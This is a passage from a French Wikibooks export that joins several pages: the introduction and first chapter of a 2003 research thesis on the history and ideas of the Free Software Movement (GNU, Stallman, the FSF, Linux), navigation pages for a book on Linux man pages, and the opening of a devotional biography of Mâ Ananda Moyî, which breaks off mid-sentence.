Le cyber-Mouvement du Logiciel Libre mérite d'être étudié car il pourrait apporter une nouvelle façon d'appréhender le phénomène des Mouvements sociaux grâce aux spécificités qui lui sont propres avec en premier lieu son appartenance au domaine technique. Ce mémoire de recherche tentera donc de retracer les conditions de la Naissance de ce Mouvement dans une première partie, d'analyser l'organisation sur laquelle il se base dans une seconde et dans une troisième, de définir quelques composants de son identité en rapport avec son lien initial avec la Culture informatique. ===Définitions inhérentes au Mouvement du Logiciel Libre=== Quand on parle de "Logiciel Libre" il est nécessaire d'avoir recours à un certain nombre de précisions afin que le mouvement ne puisse être amalgamé par le non initié à d'autres communautés issus de l'informatique. La philosophie du Libre est née dans les années 80 (plus précisément en 1984) avec la naissance du projet GNU lancé par Richard M. Stallman, un informaticien du MIT (Massachusetts Institute of Technology – L'institut technologique du Massachusetts). En lançant son projet, Stallman voulait s'opposer au mouvement de privatisation du domaine informatique avec l'arrivée des systèmes d'exploitation propriétaires. Le logiciel libre s'oppose au logiciel propriétaire. Un logiciel propriétaire est un logiciel où seuls les droits d'utilisation sont vendus. Il n'y a aucune possibilité pour modifier ce logiciel, le copier ou le redistribuer sans autorisation spécifique. Les droits d'utilisation peuvent aussi être restreints à un utilisateur ou à une machine. La majorité des logiciels qui sont sur le marché, sont propriétaires. Windows est un système d'exploitation propriétaire. Certains logiciels sont propriétaires mais ont des droits plus ouverts. C'est le cas du Freeware qui permet la redistribution mais pas la modification. Être gratuit1 ne signifie pas être libre. Sont exclus du Libre également les logiciels "semi-libre" qui peuvent être utilisés, copiés, distribués, et modifiés mais uniquement dans un but non lucratif.<br /> Dire qu'un logiciel est libre nécessite la diffusion du code source, le code génétique du programme. C'est pour cela qu'on dit souvent du logiciel libre qu'il est "open source". La diffusion de ce code source est primordiale car elle permet la compréhension du programme et la modification a posteriori. Pour en revenir donc au projet GNU, il était question de créer un système d'exploitation libre universel basé sur le système d'exploitation de AT&T, Unix. GNU est représenté par un gnou et veut simplement dire Gnu's Not Unix selon une mode informaticienne pour la création de noms. Le projet n'a pris fin qu'avec la création du noyau du système d'exploitation créé par Linus Torvalds, baptisé Linux. Le "Mouvement du Logiciel Libre" ou MLL, le Mouvement, le Monde du Libre, le Libre est difficile à clairement délimiter. En effet, s'agit-il exclusivement des programmateurs dont sont issus les logiciels libres ? Doit-on y inclure les utilisateurs ? Ceux qui promeuvent son utilisation ? Ce qui définit un Mouvement c'est "une action instrumentale qui correspond à des fins politiques, une mobilisation de ressources, pour pénétrer au sein d'un système politique, s'y maintenir, y renforcer sa position." (Charles Tilly, Anthony Oberschall), ou encore " la signification la plus élevée d'une action collective à la fois contestataire et défensive, et visant au contrôle de l'historicité, c'est-à-dire à la maîtrise des orientations principales de la vie collective." (Alain Touraine). Un mouvement autour des logiciels libres nécessite donc une conception mais aussi une mobilisation autour de cette conception. Aussi, ce mouvement doit être traité dans son ensemble, partant de la doctrine élaborée par les pères et du travail effectué en aval par les militants. Cependant, il ne faudrait pas négliger les utilisateurs qui sont influencés par les idées véhiculées par le “Mouvement” et peuvent ainsi franchir le pas et devenir plus actifs. On parlera alors du rôle de la “Communauté” qui désigne alors tout regroupement de personnes ou de structures qui ont créé des liens entre elles ou/et qui ont des intérêts, une culture, des caractéristiques communes, dans un domaine plus ou moins restreint. Comme nous l'avons montré dans cette définition, le Mouvement du Logiciel Libre n'a rien à voir avec les pirates et le mouvement des hackers du moins dans sa conception idéologique. Tous adhèrent à la valeur de liberté mais cette liberté n'a pas la même valeur pour tous. Les membres du Mouvement du Logiciel Libre militent pour une plus grande liberté mais dans le cadre de lois et de licences spécifiques. Les philosophes du libre ont ainsi créé la licence GPL (Licence Générale Publique) qui établit les bases du copyleft ou "gauche d'auteur" en opposition au copyright ou "droit d'auteur". Ces lois encadrent le Logiciel Libre en obligeant les copies modifiées d'un logiciel libre à accorder les mêmes libertés que le logiciel de base. C'est le principe contaminant du Libre. Il existe d'autres licences du Libre moins contraignantes que la GPL et n'obéissant pas au copyleft mais cela reste marginal. En tous les cas, cette mise en forme de la philosophie dans la légalité témoigne du désir du Mouvement d'être encadré par la loi. Cela implique d'accepter le format propriétaire et de n'agir contre lui que dans des formes acceptables par la justice. Ainsi, contre la stratégie propriétaire de brevetage ou de création de protocoles et de formats de fichiers cryptés, le Libre utilisera le reverse engineering (étude de la transformation du message en observant les données entrées et sorties) ou la décompilation.<br /> Au contraire le pirate cherchera à libéraliser par tous les moyens même par les biais les plus immoraux. Pour acquérir sa liberté face au propriétaire, il n'hésite pas à pirater des informations pour les "ouvrir". Au lieu de concevoir et d'utiliser des logiciels libres, ceux-ci vont forcer les systèmes afin de les libérer. Ce sont les crackers ou hackers noirs qui sous leur image de "robin des bois" du net, peuvent entrer dans des logiques commerciales parallèles. Les hackers sont à la base de "vrais mordus où l'essentiel de leur énergie vitale est consacrée à l'ordinateur". Par passion pour l'apprentissage et le défi, ils vont s'aventurer dans les systèmes et les désamorcer de "leur piège". Ils n'agissent pas dans la volonté de nuire. À la limite, il pourrait s'agir d'une volonté de libérer les données. Mais les hackers ne font pas de dégâts derrière eux.<br /> Ces trois familles n'ont pas les mêmes objectifs bien qu'ils partagent les valeurs de la tribu informatique et leur position privilégiée sur Internet. Modèle:Cyber-mouvement libre 8223 41570 2006-05-04T12:40:57Z Coleginux 1430 {| style="border:1px #C0C0C0 solid;" cellspacing="1px" cellpadding="2px" align="right" | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | * <small>[[Etude_du_cyber-mouvement_du_logiciel_libre|Introduction]]</small> * <small>[[Etude_du_cyber-mouvement_du_logiciel_libre_Naissance d'un mouvement|Naissance d'un mouvement]]</small> * <small>[[Etude_du_cyber-mouvement_du_logiciel_libre_Organisation interne et Institutions|Organisation interne et Institutions]]</small> * <small>[[Etude_du_cyber-mouvement_du_logiciel_libre_Identité et mobilisation|Identité et mobilisation]]</small> * <small>[[Etude_du_cyber-mouvement_du_logiciel_libre_Conclusion|Conclusion]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Cyber-mouvement_libre&action=edit Modifier ce modèle]</small> |} Etude du cyber-mouvement du logiciel libre Naissance d'un mouvement 8225 41611 2006-05-05T09:45:02Z Coleginux 1430 /* Naissance d'un Mouvement */ {{cyber-mouvement libre}} {{cyber-mouvement libre source}} ==Naissance d'un Mouvement== Comme nous l’avons précisé dans l'introduction, le Mouvement du Logiciel Libre est difficile à clairement délimiter. De la même manière, il est difficile de situer objectivement sa naissance. Un Mouvement social nécessite une action collective en faveur d’une cause. Mais quelle est la masse critique nécessaire à l’appellation de Mouvement Social ? On peut dater la construction de la cause du Mouvement dans les années 80 à partir du projet GNU. Seulement, la création des structures nécessaires à l’organisation de l’action collective devra attendre la naissance d’Internet qui permettra la popularisation du concept. Enfin, « un mouvement social se définit par l’identification d’un adversaire » aussi faut-il que le Mouvement s’inscrive dans un champ de lutte afin de pouvoir mobiliser. ===Les origines et le projet GNU=== À l'origine d’un mouvement, il existe une communauté. Les origines de la communauté du Libre se perdent dans l’histoire de l’informatique. Car cette communauté est la digne héritière de la communauté des « premiers hackers »4. Ces premiers hackers n’ont aucun lien avec les nouveaux hackers que l’on a préalablement définis dans l’introduction. Ces premiers hackers sont des passionnés d'informatique, des personnes qui sont à la pointe de la technologie, en quête de connaissance et qui prennent plaisir à résoudre des problèmes et à dépasser des limites arbitraires. Aujourd’hui, le terme de “hacking” a été dévoyé et c’est sa seconde définition qui est la plus usitée. ::''« L'utilisation du mot “hacker” dans le sens de “qui viole des systèmes de sécurité” est un amalgame'' ::''nstillé par les mass media. Nous autres hackers refusons de reconnaître ce sens, et continuons d'utiliser'' ::''ce mot dans le sens “qui aime programmer et apprécie de le faire de manière astucieuse et intelligente.”'' ::''(N.d.T. : en français, on peut utiliser le néologisme “bitouilleur” pour désigner l'état d'esprit de celui'' ::''qui “touille des bits”). » (Richard Stallman, Tribune Libre, Chapitre 4, « La première communauté qui partageait le logiciel »)'' Ces communautés de premiers hackers se sont constituées sur les campus des grandes universités de l’informatique comme celui du SAIL (Université de Stamford), du CMU (Université de Carnegie-Mellon) ou du MIT (Université du Massachusetts). Jusqu’au début des années 80, ces hackers travaillent librement dans les institutions où les programmes sont libres. Ces programmes sont programmés en langage d’assemblage, c'est-à-dire directement en phase avec les composants de l’ordinateur. L’habitude est alors prise de pouvoir copier et de modifier librement des applications aux capacités souvent limitées. Il s’agissait « d'améliorer le système de n'importe quelle manière, de corriger des erreurs, d'ajouter des fonctionnalités, toutes les choses que nous pouvions faire pour améliorer le système de manière utile »6. Richard M. Stallman parle de « coopération passive » : comme les programmeurs étaient toujours très occupés, ils laissaient à d’autres le soin de corriger ou d’améliorer leurs programmes.<br /> La communauté des premiers hackers du MIT s’est rapidement distinguée de celles des autres centres. Elle refuse le système d'’exploitation que la société DEC (Digital Equipment Corporation) met à disposition pour l’'emploi de ces machines, les PDP-10 qui se sont généralisés, et créé son propre logiciel : ITS (Incompatible Time-sharing System - système à temps partagé incompatible). Cette communauté va s’organiser autour de techniques bien distinctes : la culture PDP-10 « vouée au LISP, au MACRO, au TOPS-10, et à ITS ». D’'autres communautés ont fait le choix d’un nouveau système d’'exploitation portable, l’'UNIX qui a l'’incroyable bénéfice d’être portable, c'est-à-dire que contrairement à ses homologues, il n’'est pas écrit en langage d’''assemblage, mais en langage C, et est donc indépendant de la structure matérielle de l'’ordinateur. Unix peut ainsi présenter le même visage et les mêmes possibilités sur des machines différentes ce qui permettait de s’'affranchir des coûts de modification des logiciels liée à l'obsolescence des machines. Un autre atout d’'UNIX était qu’un programmeur pouvait facilement apprendre la totalité de la structure logique du C (à la différence de la plupart des autres langages, antérieurs ou postérieurs) sans devoir se référer sans cesse à des manuels. Mais, les hackers PDP-10 avaient tendance à considérer les gens d'UNIX comme « une bande de parvenus, qui utilisaient des outils d'allure ridicule et primitive si on les comparait aux adorables complexités baroques de LISP et d'ITS ». Un troisième courant fut attiré par le potentiel grandissant de l’'ordinateur personnel, ou micro-ordinateur, dont le premier exemplaire sortit en 1975. La société Apple précipita l'’évolution de ce type d'’ordinateur. Ils utilisaient le langage BASIC, qui était si primitif que « les partisans de PDP- 10 comme les aficionados d'UNIX le jugeaient indigne de leur mépris même ». Or, au début des années 80, une nouvelle approche de l’'informatique se fait jour. De nombreux entrepreneurs ambitionnent de faire de l'’ordinateur un objet de consommation comme les autres. D'’une informatique du savoir on passe à une informatique commerciale. C'’est à cette période que les programmes se verrouillent afin que les exclusivités des programmes ne soient pas révélées afin de justifier des avantages comparatifs dans un marché en émergence. C'’est dans ce contexte que Richard S. Stallman, chercheur du MIT et membre de la communauté des hackers PDP-10, découvre la fameuse imprimante Xerox, de nombreuses fois citées dans les discours de celui qui deviendra l’'un des pères du Mouvement, et qui donnera le titre du premier chapitre de la biographie de Stallman parue chez O’reilly ''(For Want of a Printer – Pour les défauts d’une imprimante)''. Il s’agissait d’une photocopieuse adaptée pour être une imprimante, la première génération des imprimantes laser, offerte par l'’entreprise Xerox au MIT (offrir ce genre de matériel à des administrations fréquentés par les premiers hackers permettait au fabricant de déceler des anomalies rapidement et à moindre coût). Cette imprimante était considérablement plus efficace que les matériels antérieurs, permettant de multiplier par dix le travail effectué : imprimer un document ne prenait plus vingt minutes mais deux. Elle était aussi beaucoup plus précise en ne transformant pas les ronds en ovales et les lignes en vagues. Or, ces capacités furent très vite limitées par le logiciel imposé par le producteur, un logiciel dont les codes sources n’avaient pas été donnés et donc impossible à modifier même pour les grands informaticiens du MIT. ::''« Nous étions capables d'écrire ces fonctions mais nous étions bloqués volontairement par Xerox, nous'' ::''étions prisonniers d'un logiciel qui a mal fonctionné pendant plusieurs années. Il fallait attendre peut-'' ::''être une heure pour une imprimante capable d'imprimer en dix minutes, ou en 3 minutes. Mais tout le'' ::''monde avait l'habitude d'attendre une heure, parce que nous avions appris qu'il était improbable que'' ::''l'impression se termine dans une plus courte période de temps. C'était dégueulasse. » (Conférence de Richard M. Stallman, donnée à Paris-8, le 10 novembre 1998.)'' Le code source pouvait être accessible mais à la seule condition de signer un accord de non divulgation. Stallman se révolte contre ce système qui interdit et même criminalise la coopération. Un système qui va se prolonger dans l'utilisation même du logiciel. ::''« Cela signifiait que la première étape de l'utilisation d'un ordinateur était de promettre de ne pas aider'' ::''son prochain (...) "Qui partage avec son voisin est un pirate. Qui souhaite la moindre modification doit'' ::''nous supplier de la lui faire" (...) Le système qui vous interdit de partager ou d'échanger le logiciel est'' ::''antisocial, immoral, et qu'il est tout bonnement incorrect, surprendra peut-être certains lecteurs. Mais'' ::''comment qualifier autrement un système fondé sur la division et l'isolement des utilisateurs ? »'' ::''Richard Stallman, Tribune Libre, Chapitre 4, « L'effondrement de la communauté »'' Ce virage vers l'informatique commerciale va directement toucher la communauté des premiers hackers du MIT. Une bonne partie de ces premiers hackers va rejoindre des sociétés privées à l'image d'un groupe de hackers de Berkeley qui fonderont Sun Microsystems dont le projet devait rapidement devenir une industrie. Peu de temps après, la société Digital mettra fin à la série des PDP-10 rendant obsolète la quasi-totalité des programmes constituants ITS. C'est une profonde crise pour ce qui reste de la communauté qui perd simultanément toutes les références qui ont constitué son identité pendant des années. Les ordinateurs modernes disposent de leur propre système d'exploitation mais aucun n'était libre. La propriétarisation devient la règle en matière de logiciel. Comme chaque premier hacker, Stallman est confronté au choix de la reconversion. ::''« La solution de facilité était de rejoindre le monde du logiciel propriétaire, de signer des accords de'' ::''non divulgation et promettre ainsi de ne pas aider mon ami hacker. J'aurais aussi été, très'' ::''probablement, amené à développer du logiciel qui aurait été publié en fonction d'exigences de non'' ::''divulgation, augmentant la pression qui en inciterait d'autres à trahir également leurs semblables. »'' Cependant, il ne se résout pas à « construire des murs toute sa vie pour séparer les gens » et encore moins à quitter l’informatique. Aussi, il se prend à l’idée de refonder une nouvelle communauté de travail qui nécessite la réouverture des codes sources du logiciel et le seul moyen pour y parvenir c’est de créer un système d’exploitation car « C'est le logiciel le plus crucial pour commencer à utiliser un ordinateur. Un système d'exploitation ouvre de nombreuses portes ; sans système, l'ordinateur est inexploitable. Un système d'exploitation libre rendrait à nouveau possible une communauté de hackers, travaillant en mode coopératif - et tout un chacun serait invité à participer. Et tout un chacun pourrait utiliser un ordinateur sans devoir adhérer à une conspiration visant à priver ses amis des logiciels qu'il utilise »14. Prenant acte de la disparition de ITS, Stallman décide de s’inspirer d’UNIX et de sa “portabilité”. Pour lui, il s’agissait de ne pas recommencer les mêmes erreurs et de voir disparaître toutes les applications développées avec la fin d’une génération d’ordinateur. De là naquit le projet GNU (GNU’s Not Unix – GNU N’est pas Unix) l’acronyme récursif étant en vogue dans les milieux des premiers hackers et témoigne de la volonté de s’inspirer d’un modèle sans le copier. Afin de commencer son projet, Stallman démissionne du MIT car il craint que l’institution ne revendique la paternité du projet. Le professeur Wilson, directeur du laboratoire d’Intelligence Artificielle, lui permet de continuer à utiliser les équipements du laboratoire. Le projet GNU consistait à créer un ensemble de programmes nécessaires « à un système d’exploitation digne de ce nom » c'est-à-dire disposant d'interpréteurs de commandes, d'assembleurs, de compilateurs, d'interpréteurs, de débogueurs, d'éditeurs de textes, de logiciels de courrier électronique… Stallman décida de ne pas donner un ordre précis en ce qui concerne la conception des différents programmes. « Pas besoin de commencer par un composant particulier, car quand on a besoin de tous les composants, pourquoi commencer par celui-là ? Il faut tout écrire, donc l'ordre n'importe pas. »15. Le premier logiciel créé, en 1985, fut GNU Emacs qui était un logiciel de texte entièrement adaptable et qui pouvait être utilisé dans une multitude de tâches allant du simple traitement de texte à un environnement de développement intégré en passant par un gestionnaire de courrier électronique par exemple. Ce programme suscita un grand intérêt de la part des programmeurs et afin d’informer sur son projet mais aussi de distribuer des versions d’Emacs, la Free Software Foundation (FSF) - Fondation du Logiciel Libre – fut créée. La FSF acceptait des dons, distribuait des copies de logiciels libres, des manuels libres. Mais surtout elle a contribué à financer des programmes libres. Une communauté de travail s’est petit à petit constituée. Une liste de composants manquants ou projets utiles, la GNU Task list (liste de tâches GNU), fut éditée. L’une des grandes difficultés de la nouvelle communauté fut la tentation de limiter leur ambition à l’UNIX. Comme GNU se voulait une imitation d’UNIX, les programmes développés par GNU pouvaient marcher sur ce type de système d’exploitation propriétaire. Certains utilisateurs de ces composants de système d’exploitation se sont lancés dans leur conversion sur les différents systèmes UNIX, incompatibles entre eux, rendant ces composants plus complets mais limitant l’effort sur le développement d’un système autonome et libre. Ce qui retarda de plusieurs années l’objectif affiché de GNU. En 1990, le système GNU était presque terminé. Le seul composant principal qui manquait encore était le noyau, le cœur d’un système d’exploitation, le programme qui permet son amorçage. Le projet initial de conception de ce noyau était ambitieux mais techniquement très difficile à réaliser. C’est un étudiant finlandais indépendant de la FSF qui réalisa ce noyau libre en 1992, qu’il baptisa Linux. Ce noyau n’eut plus qu’à être incorporé à l’intérieur de l’architecture largement établie par la FSF pour constituer le nouveau système d’exploitation libre qui aboutissait à la réalisation du projet GNU. Le projet de Richard M Stallman était réalisé. Il aurait pu rester confidentiel car le souhait de Stallman n’était que de créer une nouvelle communauté qui à présent existait. Or, la dynamique qui a produit le Mouvement s’est poursuivie, une dynamique soutenue par la communication inter réseaux qui, dès les origines, a joué un rôle important dans la constitution de la Communauté et des “instruments” qui allaient transformer la nature du projet de départ. Modèle:Cyber-mouvement libre source 8226 41576 2006-05-04T13:23:39Z Coleginux 1430 ---- Ce livre est le Mémoire de Recherche en Science Politique écrit par '''BOYER Antoine''' en 2003 intitulé : ::''« Étude du cyber-Mouvement du Logiciel Libre »'' distribué sous Licence de Documentation Libre GNU (GNU Free Documentation License) ---- MANs sous Linux 8229 42295 2006-05-14T17:10:07Z Overmac 1120 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[MANs sous Linux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Programmation C++ (débutant)]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small> [[MANs sous Linux|Accueil]]</small> *<small>Chap. 1 - [[MANs_sous_Linux_:_Les_commandes_utilisateur|Les commandes utilisateur]]</small> *<small>Chap. 2 - [[MANs_sous_Linux_:_Les_appels-syst%C3%A8me|Les appels-système]]</small> *<small>Chap. 3 - [[MANs_sous_Linux_:_Les_fonctions_de_biblioth%C3%A8que|Les fonctions de bibliothèque]]</small> *<small>Chap. 4 - [[MANs_sous_Linux_:_Les_fichiers_sp%C3%A9ciaux|Les fichiers spéciaux]]</small> *<small>Chap. 5 - [[MANs_sous_Linux_:_Les_%22formats_de_fichiers%22|Les "formats de fichiers"]]</small> *<small>Chap. 6 - [[MANs_sous_Linux_:_Les_jeux|Les jeux]]</small> *<small>Chap. 7 - [[MANs_sous_Linux_:_Divers|Divers]]</small> *<small>Chap. 8 - [[MANs_sous_Linux_:_Les_commandes_d%27administration_syst%C3%A8me|Les commandes d'administration système]]</small> *<small>Chap. 9 - [[MANs_sous_Linux_:_Les_fonctions_du_noyau_Linux|Les fonctions du noyau Linux]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[MANs sous Linux]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Introduction_aux_réseaux&action=edit Modifier ce modèle]</small> |} {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#E0E0F0" align="center" colspan="2" | {| width="100%" bgcolor="#E0E0F0" |- | bgcolor="#E0E0F0" valign="middle" width="90%" align="center" | <font size="+1">MANs sous Linux</font> ''Un livre appartenant à la série Architecture, Système et Réseaux du [[Département informatique/Bibliothèque|Département informatique]] <br/> et à l'[[Accueil/Informatique|étagère Informatique]] de [[Accueil|Wikilivres]]''. |- |} |- bgcolor="lightyellow" valign="top" colspan="2" | {{Sous section|nom=MANs sous Linux/Sommaire|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | |- |} |- |} MANs sous Linux/Sommaire 8230 41627 2006-05-05T14:17:19Z Overmac 1120 ==Sommaire== *Chapitre 1 : [[MANs sous Linux : Les commandes utilisateur| Les commandes utilisateur]]<br> *Chapitre 2 : [[MANs sous Linux : Les appels-système| Les appels-système]]</br> *Chapitre 3 : [[MANs sous Linux : Les fonctions de bibliothèque| Les fonctions de bibliothèque]]</br> *Chapitre 4 : [[MANs sous Linux : Les fichiers spéciaux| Les fichiers spéciaux]]</br> *Chapitre 5 : [[MANs sous Linux : Les "formats de fichiers"| Les "formats de fichiers"]]</br> *Chapitre 6 : [[MANs sous Linux : Les jeux| Les jeux]]</br> *Chapitre 7 : [[MANs sous Linux : Divers| Divers]]</br> *Chapitre 8 : [[MANs sous Linux : Les commandes d'administration système| Les commandes d'administration système]]</br> *Chapitre 9 : [[MANs sous Linux : Les fonctions du noyau Linux | Les fonctions du noyau Linux ]]</br> MANs sous Linux : Les commandes utilisateur 8231 42306 2006-05-14T17:14:40Z Overmac 1120 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[MANs sous Linux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Programmation C++ (débutant)]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small> [[MANs sous Linux|Accueil]]</small> *<small>Chap. 1 - [[MANs_sous_Linux_:_Les_commandes_utilisateur|Les commandes utilisateur]]</small> *<small>Chap. 2 - [[MANs_sous_Linux_:_Les_appels-syst%C3%A8me|Les appels-système]]</small> *<small>Chap. 3 - [[MANs_sous_Linux_:_Les_fonctions_de_biblioth%C3%A8que|Les fonctions de bibliothèque]]</small> *<small>Chap. 4 - [[MANs_sous_Linux_:_Les_fichiers_sp%C3%A9ciaux|Les fichiers spéciaux]]</small> *<small>Chap. 5 - [[MANs_sous_Linux_:_Les_%22formats_de_fichiers%22|Les "formats de fichiers"]]</small> *<small>Chap. 6 - [[MANs_sous_Linux_:_Les_jeux|Les jeux]]</small> *<small>Chap. 7 - [[MANs_sous_Linux_:_Divers|Divers]]</small> *<small>Chap. 8 - [[MANs_sous_Linux_:_Les_commandes_d%27administration_syst%C3%A8me|Les commandes d'administration système]]</small> *<small>Chap. 9 - [[MANs_sous_Linux_:_Les_fonctions_du_noyau_Linux|Les fonctions du noyau Linux]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[MANs sous Linux]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Introduction_aux_réseaux&action=edit Modifier ce modèle]</small> |} == Liste == [[3ds2m]] : Convertit les mailles (meshes) d'un fichier 3DS en un m-file (fichier contenant les mailles)</br> [[3dsdump]] : Affiche l'information sur la structure interne d'un fichier 3DS.</br> Mâ Ananda Moyî 8233 41699 2006-05-06T16:51:51Z Louperivois 1480 Création ==Chapitre 1 : Mâ Ananda Moyî (Mâ Anandamayi) : une introduction== ===Naissance et début=== Peut-on parler de naissance pour celle qui de son vivant déjà était entrée dans la légende ? Les humains (et tout ce qui a nom et forme en général) naissent, vivent et meurent, puis renaissent selon l'inexorable loi du karma. Nos pensées et nos actions façonnent notre vie future, et les conditions physiologiques et sociales dans lesquelles nous sommes nés sont le résultat de nos vies antérieures. C'est le prârabdha-karma, pour employer le terme technique. Pourtant, rien de tout cela en ce qui concerne Shrî Mâ Ananda Moyî. Car elle avait exprimé clairement à plusieurs reprises qu'elle n'avait pas eu de vie antérieure, et que si elle avait pris en charge un corps humain, ce n'était pas pour recueillir le fruit d'un karma quel qu'il soit, mais en réponse à une aspiration collective des humains. Néanmoins, si nous nous limitons à l'aspect empirique des choses, nous dirons que celle qui devint plus tard Mâ Ananda Moyî (Ce nom lui fut donné par Shrî Jyotish C. Roy, mieux connu sous le nom de Bhaiji, l'un des principaux disciples de Mâ. cf. Bhaiji, Matri Darshan. En compagnie de Mâ Ananda Moyi, éd. Terre du Ciel, 1996) est née le 30 avril 1896 dans le village de Khéora, appartenant au district de Tripurah dans l'est du Bengale (maintenant le Bangladesh). Son père Shrî Bipin Bihari Bhattâcharya, un brahmine du clan renommé de Kashyapa, était respecté et aimé pour sa droiture, son honnêteté et son esprit de détachement. Sa mère, Srimati Mokshada Sundarî Devî, avait toutes les nobles qualités qui font de la femme hindoue la gardienne de l'antique tradition. Avant et après la naissance de l'enfant, la mère vit souvent en rêve des dieux et des déesses venant lui rendre visite dans son humble demeure et l'illuminant de leur splendeur. Chose curieuse, l'enfant en venant au monde ne pleura ni ne proféra aucun son, comme le font presque tous les nouveaux-nés. A ce sujet, Mâ dit plus tard en riant: « Quelles raisons avais-je ? Je regardais le manguier à travers les fissures du mur » (c'est-à-dire à travers les interstices du mur de la cabane faite en bambou). Mâ avait aussi rappelé un détail qui eut lieu quelques jours après sa naissance, et qui a été vérifié. Ce qui nous permet de conclure qu'elle est née en pleine conscience de soi. L'enfant nouveau-né fut appelé Nirmala Sundarî. En grandissant elle s'avéra être un enfant tout à fait hors de l'ordinaire, ne proférant jamais de mensonges, obéissant à ses aînés d'une manière tellement scrupuleuse qu'elle les déconcertait parfois. Sa gentillesse et son tact avec qui que ce soit lui attirait l'amitié de tous. Son passe-temps préféré était le chant religieux en compagnie de son père. Elle fut mariée à l'âge de treize ans avec Shrî Ramani Mohan Chakravarti, du village d'Atpara, dans l'est du Bengale, qui fut connu plus tard sous le nom de Baba Bholanâth. Mais ce fut en réalité un mariage blanc, car le nouveau mari comprit bien vite que son épouse n'était pas un être ordinaire, et ses rapports avec elle furent ceux d'une vénération souvent mêlée de crainte. Plus tard, elle lui donna l'initiation et il devint sannyâsin sous le nom de Tibhatânanda. ===« Sâdhanâ »=== Je mets le mot sâdhanâ entre guillemets car le terme est impropre en ce qui concerne Mâ. Elle avait affirmé à plusieurs reprises -et de façon tellement catégorique qu'aucun doute ne peut subsister à ce sujet- qu'elle avait toujours été la même depuis l'enfance, et que les modifications dans son comportement n'étaient que des jeux de surface, n'ayant affecté en rien son état réel. En ce qui concerne sa sâdhanâ, Mâ parlait de « sâdhanâ-khel » (« jeu de sâdhanâ »), c'est-à-dire une attitude semblable à celle d'un acteur jouant consciemment un rôle, ou si l'on préfère celle d'un docteur qui s'amuserait à se présenter à l'examen du baccalauréat. Pour que le jeu fut complet, il fallait - comme l'a dit Mâ elle-même - que son esprit se couvre momentanément d'un voile d'ajnâna (ignorance), qui néanmoins n'a jamais affecté l'état de Réalisation parfaite dans lequel elle a toujours vécu. Cette sâdhanâ commença par une dîkshâ (initiation rituelle) une nuit à Jaulan-pûrnimâ (la pleine lune précédant l'anniversaire de la naissance de Krishna). Mâ a décrit tous les détails de cette initiation qui fut faite avec la minutie complète du rituel de l'Inde ancienne. Néanmoins ce fut fait sur un plan subtil, visible seulement à ceux doués d'une vision astrale, et le gourou n'était autre que l'invisible et omniprésent Pouvoir Divin. Puis commença une hallucinante sâdhanâ faite pour donner le vertige aux yogi les plus audacieux. Toutes les méthodes de sâdhanâ anciennes et modernes - nous dit Shrî Mâ -, depuis leur alpha jusqu'à leur oméga, c'est-à-dire jusqu'à leur culmination (siddhi) ont été pratiquées par Shrî Mâ, quelques-unes pendant une certaine période, d'autres - comme un film tourné à une vitesse vertigineuse - dans l'espace de quelques secondes. La raison de cette étonnante acrobatie spirituelle, Shrî Mâ nous l'avait donnée : quel que soit le sâdhaka (pratiquant d'une voie spirituelle) qui demandait conseil, quelle que soit l'expérience qu'il lui décrivait, elle pouvait l'aider et le diriger comme un guide qui indique au voyageur les jalons d'une route qu'il connaît parfaitement. Pendant une période de plusieurs années, toutes sortes de manifestations extraordinaires apparurent à travers la personne de Shrî Mâ Ananda Moyî : des bhâva, des pouvoirs yogiques et des états de samâdhi. Ils apparurent principalement quand Mâ entendait des kîrtans. Il semblait alors qu'un pouvoir divin avait pris possession de son corps et le faisait mouvoir avec une grâce surnaturelle. Elle dansait, courait vers le lieu où se tenait le kîrtan, quelquefois animée d'un mouvement ondulant, d'autres fois avec une vélocité presque impossible à suivre des yeux. Parfois son corps roulait sur le sol où elle était emportée comme une feuille morte par le vent; d'autres fois encore, avec une grâce extraordinaire, elle restait en équilibre sur le bout des orteils, ou dansait. Puis, souvent, elle perdait la conscience du monde extérieur et restait des heures immergée dans le bonheur du samâdhi. C'est aussi durant cette période que se manifestèrent des pouvoirs yogiques qui semblaient un défi aux lois naturelles. Un jour son corps se rétracta au point de devenir une minuscule masse de chair couverte par des vêtements; d'autres fois elle prenait une stature démesurée; un jour, elle fut entourée d'une auréole lumineuse éblouissant les regards humains, etc. Vers 1925 commencèrent des règles restreignant son alimentation, sans que sa santé subisse la moindre modification. Par exemple, pendant une certaine période elle ne prenait que trois bouchées de nourriture le lundi et le jeudi, et le reste de la semaine neuf grains de riz. Pendant une autre période, de plusieurs mois, elle ne prit qu'un seul grain de riz par jour sans que son corps subisse le moindre amaigrissement. Toutes ces manifestations étonnantes - voire déconcertantes pour un esprit occidental semblent entrer dans le cadre du sâdhanâ-khel dont parlait Shrî Mâ Ananda Moyî. Je n'ai rencontré Mâ qu'au début de 1951, c'est-à-dire à une époque où ces manifestations extraordinaires étaient terminées. Aussi je n'en parle que par ouï-dire, d'après des lectures et en prenant appui sur les déclarations de Shrî Mâ elle-même. Mais la manifestation la plus extraordinaire que j'ai notée dans la personnalité de Shrî Mâ était la 